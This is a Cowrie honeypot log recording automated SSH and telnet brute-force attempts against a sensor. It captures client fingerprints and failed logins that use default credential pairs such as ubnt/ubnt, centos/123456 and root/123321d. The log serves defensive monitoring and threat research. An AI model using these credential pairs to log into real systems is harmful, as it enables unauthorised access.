{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47492,"dst_ip":"159.203.135.109","dst_port":22,"session":"a16307f90712","protocol":"ssh","message":"New connection: 192.109.200.237:47492 (159.203.135.109:22) [session: a16307f90712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:42.698485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:42.703072Z","src_ip":"192.109.200.237","session":"a16307f90712","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:42.784871Z","src_ip":"192.109.200.237","session":"a16307f90712","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:43.030127Z","src_ip":"192.109.200.237","session":"a16307f90712","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:44.115843Z","src_ip":"192.109.200.237","session":"a16307f90712","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47524,"dst_ip":"159.203.135.109","dst_port":22,"session":"96f77fef08f3","protocol":"ssh","message":"New connection: 192.109.200.237:47524 (159.203.135.109:22) [session: 96f77fef08f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:46.132532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:46.135705Z","src_ip":"192.109.200.237","session":"96f77fef08f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:46.216628Z","src_ip":"192.109.200.237","session":"96f77fef08f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:46.462436Z","src_ip":"192.109.200.237","session":"96f77fef08f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:47.554343Z","src_ip":"192.109.200.237","session":"96f77fef08f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47540,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1fbc12a9e07","protocol":"ssh","message":"New connection: 192.109.200.237:47540 (159.203.135.109:22) [session: b1fbc12a9e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:49.538005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:49.543177Z","src_ip":"192.109.200.237","session":"b1fbc12a9e07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:49.626351Z","src_ip":"192.109.200.237","session":"b1fbc12a9e07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:50.016712Z","src_ip":"192.109.200.237","session":"b1fbc12a9e07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:51.101451Z","src_ip":"192.109.200.237","session":"b1fbc12a9e07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55152,"dst_ip":"159.203.135.109","dst_port":22,"session":"12ab94c711d2","protocol":"ssh","message":"New connection: 192.109.200.237:55152 (159.203.135.109:22) [session: 12ab94c711d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:53.125244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:53.129756Z","src_ip":"192.109.200.237","session":"12ab94c711d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:53.212277Z","src_ip":"192.109.200.237","session":"12ab94c711d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:53.463160Z","src_ip":"192.109.200.237","session":"12ab94c711d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:54.548326Z","src_ip":"192.109.200.237","session":"12ab94c711d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35704,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ae1ab09f4b6","protocol":"telnet","message":"New connection: 50.6.8.71:35704 (10.17.0.5:23) [session: 9ae1ab09f4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:54.854884Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36630,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3952ebc4dc3","protocol":"telnet","message":"New connection: 50.6.8.71:36630 (10.17.0.5:23) [session: e3952ebc4dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:56.304202Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55176,"dst_ip":"159.203.135.109","dst_port":22,"session":"0939d19a59cc","protocol":"ssh","message":"New connection: 192.109.200.237:55176 (159.203.135.109:22) [session: 0939d19a59cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:56.523063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:56.528693Z","src_ip":"192.109.200.237","session":"0939d19a59cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:56.611176Z","src_ip":"192.109.200.237","session":"0939d19a59cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadmin","password":"sadmin","message":"login attempt [sadmin/sadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:56.857463Z","src_ip":"192.109.200.237","session":"0939d19a59cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:57.948854Z","src_ip":"192.109.200.237","session":"0939d19a59cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55194,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf0d4dba591a","protocol":"ssh","message":"New connection: 192.109.200.237:55194 (159.203.135.109:22) [session: cf0d4dba591a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:59.943830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:59.952379Z","src_ip":"192.109.200.237","session":"cf0d4dba591a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:00.035470Z","src_ip":"192.109.200.237","session":"cf0d4dba591a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:00.467825Z","src_ip":"192.109.200.237","session":"cf0d4dba591a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:01.552758Z","src_ip":"192.109.200.237","session":"cf0d4dba591a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":34190,"dst_ip":"10.17.0.5","dst_port":22,"session":"bac2ba14caa8","protocol":"ssh","message":"New connection: 38.93.206.2:34190 (10.17.0.5:22) [session: bac2ba14caa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:02.850035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:02.855897Z","src_ip":"38.93.206.2","session":"bac2ba14caa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:02.907289Z","src_ip":"38.93.206.2","session":"bac2ba14caa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321d","message":"login attempt [root/123321d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:03.063131Z","src_ip":"38.93.206.2","session":"bac2ba14caa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36638,"dst_ip":"10.17.0.5","dst_port":23,"session":"48ac66c65e8a","protocol":"telnet","message":"New connection: 50.6.8.71:36638 (10.17.0.5:23) [session: 48ac66c65e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:03.330475Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60574,"dst_ip":"159.203.135.109","dst_port":22,"session":"98e59f9a0587","protocol":"ssh","message":"New connection: 192.109.200.237:60574 (159.203.135.109:22) [session: 98e59f9a0587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:03.696953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:03.704822Z","src_ip":"192.109.200.237","session":"98e59f9a0587","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:03.786691Z","src_ip":"192.109.200.237","session":"98e59f9a0587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:04.032910Z","src_ip":"192.109.200.237","session":"98e59f9a0587","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:04.117012Z","src_ip":"38.93.206.2","session":"bac2ba14caa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:05.119251Z","src_ip":"192.109.200.237","session":"98e59f9a0587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60590,"dst_ip":"159.203.135.109","dst_port":22,"session":"f686dc84637e","protocol":"ssh","message":"New connection: 192.109.200.237:60590 (159.203.135.109:22) [session: f686dc84637e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:07.120258Z"}
